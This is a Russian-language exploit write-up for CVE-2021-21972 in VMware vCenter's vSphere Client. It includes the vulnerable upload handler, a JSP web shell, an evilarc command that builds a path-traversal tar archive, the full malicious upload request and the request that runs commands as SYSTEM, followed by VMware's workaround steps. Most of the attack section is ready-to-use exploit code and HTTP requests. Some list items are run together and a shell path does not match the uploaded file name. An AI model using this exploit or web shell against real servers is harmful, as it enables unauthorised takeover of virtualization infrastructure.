
[CVE-2021-21972] Несанкционированная загрузка файлов в VMware vSphere Client с последующим удаленным выполнением кода (RCE)
[CVE-2021-21972] Загрузка файлов без авторизации в VMware vSphere Client с удаленным выполнением кода (RCE)
Веб-клиент vSphere (HTML5) по сути является административным интерфейсом, который позволяет управлять установкой vSphere. Клиент vSphere предоставляет администратору доступ к основным функциям vSphere без необходимости прямого доступа к серверу vSphere. Он позволяет администраторам создавать новые виртуальные машины, управлять существующими и их ресурсами. Будучи кроссплатформенным веб-приложением, он может использоваться на всех поддерживаемых операционных системах через поддерживаемые версии различных веб-браузеров.
CVE-2021-21972 — это уязвимость загрузки файлов без авторизации в vCenter Server, которая приводит к удаленному выполнению кода на удаленном сервере. Проблема связана с отсутствием аутентификации в плагине vRealize Operations vCenter. Она получила критический балл CVSSv3 — 9.8 из 10.0. Неавторизованный удаленный злоумышленник может использовать эту уязвимость, загрузив специально созданный файл на уязвимую конечную точку vCenter Server, доступную извне. Уязвимости подвержены версии VMware vCenter Server 6.5, 6.7 и 7.0. Успешная эксплуатация этой уязвимости позволит злоумышленнику получить неограниченные привилегии удаленного выполнения кода (RCE) в базовой операционной системе vCenter Server. Несмотря на то, что эта уязвимость исходит от плагина vRealize Operations vCenter, уведомление VMware подтверждает, что этот плагин включен во все установки по умолчанию vCenter Server. Это означает, что уязвимая конечная точка доступна независимо от присутствия vRealize Operations.
В оригинальном посте в блоге здесь обнаружение уязвимости объяснено максимально подробно, а также описаны два отдельных пути достижения RCE. Для систем Windows злоумышленник может загрузить специально созданный файл .jsp, чтобы получить привилегии в базовой операционной системе. Для систем Linux злоумышленнику потребуется сгенерировать и загрузить открытый ключ в путь authorized_keys сервера, а затем подключиться к уязвимому серверу по SSH, чтобы получить привилегии пользователя . (если служба SSH запущена и доступна по сети)
NT AUTHORITY\SYSTEMvsphere-uivropsplugin-service.jar — это архивный файл Java плагина vropspluginui, который включает некоторые классы и другие связанные функции и методы. Уязвимая часть кода показана ниже. Этот фрагмент кода принадлежит классу ServicesController.class в контроллере vropsplugin-service.jar. Как видно в приведенном ниже фрагменте кода, функция uploadOvaFile отвечает за конечную точку/URL /ui/vropspluginui/rest/services/uploadova
Полный путь к уязвимому классу: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
try {
if (code != 200) {
response.sendError(code, "Arguments Missing");
return;
}
wr = response.getWriter();
} catch (IOException e) {
e.printStackTrace();
logger.info("upload Ova Controller Ended With Error");
}
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty())
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
for (String str : entries) {
File currentFile = new File(dir.getPath(), str);
currentFile.delete();
}
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
List<String> result = new ArrayList<String>();
while (entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
continue;
}
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists())
parent.mkdirs();
OutputStream out = new FileOutputStream(curfile);
IOUtils.copy((InputStream)in, out);
out.close();
result.add(entry.getName());
entry = in.getNextTarEntry();
}
in.close();
logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
} catch (Exception e) {
logger.error("Unable to upload OVA file :" + e);
returnStatus = "FAILED";
}
wr.write(returnStatus);
wr.flush();
wr.close();
}
С точки зрения злоумышленника, обработчик этого класса выполняет следующие действия:
uploadFile с помощью запроса метода POST (строка 2)uploadFile и запись его содержимого в переменную inputStream (строка 22)/tmp/unicorn_ova_dir + entry.getName() (строки 42 и 47)Proof of Concept: Чтобы использовать эту уязвимость, можно выполнить следующие шаги:
../..//statsreport/uploadedFileName.jspДля проверки уязвимости можно использовать следующий запрос:
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Если ответ на приведенный выше запрос будет похож на ответы ниже, это означает, что удаленный хост уязвим к CVE-2021-21972:
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous
{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close
{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}
После этого нам нужно создать специально сформированный файл .tar. Для этого можно использовать evilarc. Evilarc — это простой скрипт на Python, который позволяет создать zip-файл, содержащий файлы с символами обхода каталога в их встроенном пути.
Содержимое cmdjsp.jsp, которое, по сути, является веб-оболочкой:
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
С помощью следующей команды будет создан специально сформированный файл архива .tar:
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp
Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp
> cat winexpl3.tar
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
Затем просто загрузите файл .tar на сервер с помощью следующего запроса:
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200
------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--
Ответ на приведенный выше запрос показан ниже:
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7
SUCCESS

Если код состояния ответа на приведенный выше запрос равен 200 OK, а тело ответа — SUCCESS, это означает, что файл архива .tar успешно загружен по пути ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport. В соответствии с потоком приложения, сервер извлечет файл .tar в каталог /statsreport. После этого все, что вам нужно сделать, — это отправить следующий запрос GET для удаленного выполнения кода с привилегиями NT AUTHORITY\SYSTEM:
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Временное решение: VMware исправила эту уязвимость в версиях 7.0 U1c, 6.7 U3l и 6.5 U3n соответственно. Однако, если патч не может быть установлен, для применения временного решения для CVE-2021-21972 и CVE-2021-21973 на развертываниях vCenter Server на базе Windows выполните следующие шаги:
C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xmlcompatibility-matrix.xml в текстовом редакторе.<PluginPackage id="com.vmware.vrops.install" status="incompatible"/> в элемент pluginsCompatibilityC:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
Administration > Solutions > client-pluginsЧтобы применить временное решение для CVE-2021-21972 и CVE-2021-21973 на виртуальных устройствах на базе Linux (vCSA), выполните следующие шаги:
/etc/vmware/vsphere-ui/compatibility-matrix.xmlcompatibility-matrix.xml в текстовом редакторе.<PluginPackage id="com.vmware.vrops.install" status="incompatible"/> в элемент pluginsCompatibility> service-control --stop vsphere-ui
> service-control --start vsphere-ui
Обратите внимание, что эту уязвимость обнаружил Михаил Ключников из Positive Technologies, а оригинальный исследовательский пост доступен здесь
Для получения дополнительной информации посетите следующие страницы.
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html